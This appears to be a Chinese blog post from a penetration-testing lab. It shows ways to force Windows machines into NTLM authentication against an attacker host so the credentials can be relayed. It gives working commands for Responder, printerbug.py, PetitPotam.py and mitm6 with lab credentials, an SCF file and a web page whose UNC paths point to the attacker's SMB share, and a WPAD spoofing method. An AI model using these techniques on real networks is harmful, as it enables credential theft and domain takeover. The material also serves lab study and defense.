ntlm 攻击原理可见:域渗透:ntlm relay攻击实验及攻击流程深度解析_内网渗透测试:ntlm relay攻击分析-优快云博客
-
域控机器账户:WIN-0V0GAORDC17
-
域控 ip:192.168.72.163
-
攻击者机器 kali 地址:192.168.72.162
监听内网 python2 ./Responder.py -I eth0 -f -v
访问 smb 协议的 ntlm 认证
访问文件系统
打印机漏洞
项目地址:krbrelayx/printerbug.py at master · dirkjanm/krbrelayx · GitHub
python3 printerbug.py hacker/deandean:p-0p-0p-0p-0@192.168.72.163 192.168.72.162 这样目标机器账户(192.168.72.163)向攻击者(192.168.72.162)发送 ntlm 身份验证访问 smb 服务
PetitPotam漏洞
项目地址:PetitPotam/PetitPotam.py at main · topotam/PetitPotam · GitHub
攻击者使用 \pipe\lsarpc 去请求目标机器进行数据加密维护,目标机器会触发 EfsRpcOpenFileRaw 函数去加密维护与 FileName 参数对应的文件。EfsRpcOpenFileRaw 函数中的参数 FileName 参数可以是 unc 路径,也就是说,当提供的 FileName 为 \IP\C$ 时,目标机器会访问 IP 这台机器的 smb 服务,并使用 NTLM 身份验证。
# 触发 192.168.72.163 机器访问 192.168.72.162 的 smb 服务。 python3 Petitpotam.py -d hacker.com -u deandean -p p-0p-0p-0p-0 192.168.72.162 192.168.72.163
图标中的 unc 路径
每当访问或刷新这个文件夹所在路径时,操作系统会发送 smb 请求来获取图标资源。
scf 文件中的 unc 路径
[Shell] Command=2 IconFile=\\192.168.72.162\test\test.ico [Taskbar] Command=ToggleDesktop
当打开 scf 文件所在的路径时,操作系统会发送 smb 请求来获取图标资源。由下图可以看到,如果目标文件夹 ( TEST )不存在,将会一直发送 smb 请求。
网页中的 unc 路径
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Document</title> </head> <body> 欢迎,您是第1个登录本站的。再次欢迎!</br>再次欢迎! </body> <script src="\\192.168.72.162\test"></script> </html>
访问 HTTP 协议的 ntlm 认证
wpad(Web 代理自动发现协议)
代理自动配置: WPAD 用于自动配置客户端设备的代理设置,特别是在企业环境中,通过代理服务器统一管理和过滤网络流量。
简化网络配置: 管理员只需在网络上发布一份代理配置文件,客户端设备便可根据配置自动使用正确的代理,无需逐台设备手动配置。
用来查找 PAC(Proxy Auto-Config)文件的协议,通过 DHCP、DNS、LLMNR、NBNS 等协议来查找局域网中存放 PAC 文件的主机,然后局域网中的主机通过 PAC 文件中指定的代理访问互联网,在请求 WPAD 的过程中,如果服务端要求 401 认证,部分浏览器和应用将会自动用当前用户凭证进行认证。而由于浏览器默认是自动检测设置 PAC 文件,因此造成了 WPAD 攻击。
浏览器查询 PAC 文件的顺序如下:
-
DHCP 服务器
-
查询 WPAD 主机的 IP
-
本地 hosts 文件(%windir%\System32\drivers\etc\hosts)
-
DNS 缓存/DNS 服务器
-
链路本地多播名称解析(LLMNR)和 NetBIOS 名称服务(NBTNS)
-
PAC 文件的格式如下: function FindProxyForURL(url, host) { if (url== 'http://www.baidu.com/') return 'DIRECT'; if (host== 'twitter.com') return 'SOCKS 127.0.0.10:7070'; if (dnsResolve(host) == '10.0.0.100') return 'PROXY 127.0.0.1:8086;DIRECT'; return 'DIRECT'; }
攻击机
python3 mitm6.py -i eth0 -d hacker.com 当机器重启时, 器的ipv6,如下第一个ipv6是攻击机器,ipv4是域控
攻击机伪装wpad服务器,下发wpad.dat攻击 python2 Responder.py -I eth0 -wrfvF 然后目标机器访问网页
测试如下:
-
chrome 浏览器打开就能触发 NTLM 认证。
-
edge 浏览器打开后再关闭才能触发 NTLM 认证。